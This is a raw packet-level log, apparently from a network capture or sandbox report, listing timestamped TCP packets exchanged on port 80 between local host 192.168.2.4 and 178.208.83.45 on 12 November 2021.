Nov 12, 2021 22:24:02.386569977 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.386697054 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.408396006 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408584118 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408910036 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408922911 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408943892 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408974886 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.408991098 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409091949 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409090996 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.409110069 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409125090 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409135103 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409151077 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.409181118 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.409241915 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.431513071 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431538105 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431555033 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431570053 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431602955 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431610107 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431612015 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431617975 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431633949 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431643963 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431658983 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431674957 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431680918 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.431705952 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431721926 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431739092 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431766987 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431777954 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431793928 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431808949 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.431809902 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.431902885 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.454119921 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454152107 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454168081 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454184055 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454197884 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454212904 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454227924 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454245090 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454256058 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454257965 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.454276085 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454309940 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454320908 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.454329967 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454344034 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454363108 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454380035 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454396009 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454452991 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454476118 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454478979 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454515934 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454529047 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454540968 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454554081 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454570055 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454592943 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454596043 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454631090 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454647064 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454662085 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454678059 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454694986 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454709053 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454724073 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454740047 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454755068 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454771042 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454786062 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.454799891 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.476739883 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.477370977 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.480170965 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.480292082 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.505927086 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.506352901 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.507842064 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.528285980 CET	80	50017	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.528765917 CET	50017	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.528779030 CET	80	50015	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.528901100 CET	50015	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.530126095 CET	80	50018	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.530316114 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.531311989 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.553493977 CET	80	50018	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.556371927 CET	80	50018	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.559847116 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.679325104 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.680898905 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.701610088 CET	80	50018	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.701730013 CET	50018	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.703124046 CET	80	50020	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.703407049 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.714185953 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.736486912 CET	80	50020	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.739989042 CET	80	50020	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.741544008 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.846282005 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.848588943 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.868714094 CET	80	50020	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.868794918 CET	50020	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.872176886 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.872299910 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.873610020 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.895840883 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.901458979 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.903986931 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.927686930 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.927989006 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.928000927 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.928716898 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.952388048 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.952410936 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.952419996 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.952428102 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.952507019 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.952537060 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.952538013 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.952626944 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.974793911 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974807978 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974821091 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974869967 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974883080 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974900961 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.974941969 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.974946022 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974955082 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.974962950 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.974984884 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.974993944 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.975009918 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.975053072 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.975119114 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.975173950 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.997252941 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997271061 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997354984 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997394085 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997411966 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.997459888 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.997483015 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997503996 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:02.997514963 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997564077 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997575045 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997584105 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997591972 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997601032 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997641087 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997775078 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997931004 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997945070 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997952938 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997962952 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:02.997978926 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019793987 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019809961 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019825935 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019885063 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019964933 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.019973993 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.020081997 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.035140991 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.041726112 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.042076111 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.057480097 CET	80	50023	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.057873011 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.058553934 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.080905914 CET	80	50023	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.085665941 CET	80	50023	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.086021900 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.213412046 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.213758945 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.214915991 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.235699892 CET	80	50023	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.235795975 CET	50023	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.236743927 CET	80	50022	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.237046003 CET	80	50025	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.239172935 CET	50022	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.239892006 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.240451097 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.264261007 CET	80	50025	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.268760920 CET	80	50025	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.268976927 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.394583941 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.396459103 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.417001963 CET	80	50025	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.417959929 CET	50025	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.418745041 CET	80	50026	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.423996925 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.425555944 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.447782040 CET	80	50026	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.451467991 CET	80	50026	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.451740026 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.566405058 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.566778898 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.588921070 CET	80	50026	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.588969946 CET	80	50028	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.589876890 CET	50026	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.589953899 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.590533018 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.612739086 CET	80	50028	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.618005037 CET	80	50028	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.622064114 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.736938953 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.738862991 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.760516882 CET	80	50028	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.762113094 CET	50028	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.764137983 CET	80	50030	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.764293909 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.764974117 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.788525105 CET	80	50030	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.792697906 CET	80	50030	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.794589043 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.911932945 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.913268089 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.935643911 CET	80	50032	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.935759068 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.936434984 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.959661007 CET	80	50032	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.962680101 CET	80	50032	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:03.962798119 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:03.974054098 CET	80	50030	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.012155056 CET	80	50030	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.013773918 CET	50030	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.065499067 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.067522049 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.088542938 CET	80	50032	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.088665009 CET	50032	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.091633081 CET	80	50033	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.096029997 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.096788883 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.119716883 CET	80	50033	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.123820066 CET	80	50033	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.125052929 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.225477934 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.226630926 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.239118099 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.247833014 CET	80	50033	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.247920036 CET	50033	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.248877048 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.248997927 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.249775887 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.249984980 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.250269890 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.250427008 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.261729956 CET	80	50036	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.261920929 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.262406111 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272073984 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272144079 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272479057 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272533894 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272547007 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272558928 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272608995 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272622108 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272634983 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272644043 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272656918 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272665977 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272665977 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272677898 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.272696018 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272702932 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272710085 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272716045 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272723913 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.272737980 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.284625053 CET	80	50036	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.288937092 CET	80	50036	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.289105892 CET	50036	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295036077 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295066118 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295077085 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295089960 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295103073 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295123100 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295135021 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295142889 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295150042 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295156956 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295165062 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295176983 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295183897 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295197010 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295212030 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295221090 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295254946 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295258045 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295272112 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295295000 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.295348883 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295366049 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295605898 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295762062 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.295862913 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.317723989 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317737103 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317749023 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317776918 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317785978 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317797899 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317809105 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317821980 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317832947 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317841053 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317852020 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317861080 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317871094 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317912102 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317969084 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317984104 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.317996025 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318041086 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318056107 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318058968 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.318065882 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318074942 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318108082 CET	50035	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:04.318151951 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318160057 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318218946 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318231106 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318239927 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318252087 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318260908 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318269968 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318281889 CET	80	50035	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:04.318293095 CET	80	50035	178.208.83.45	192.168.2.4
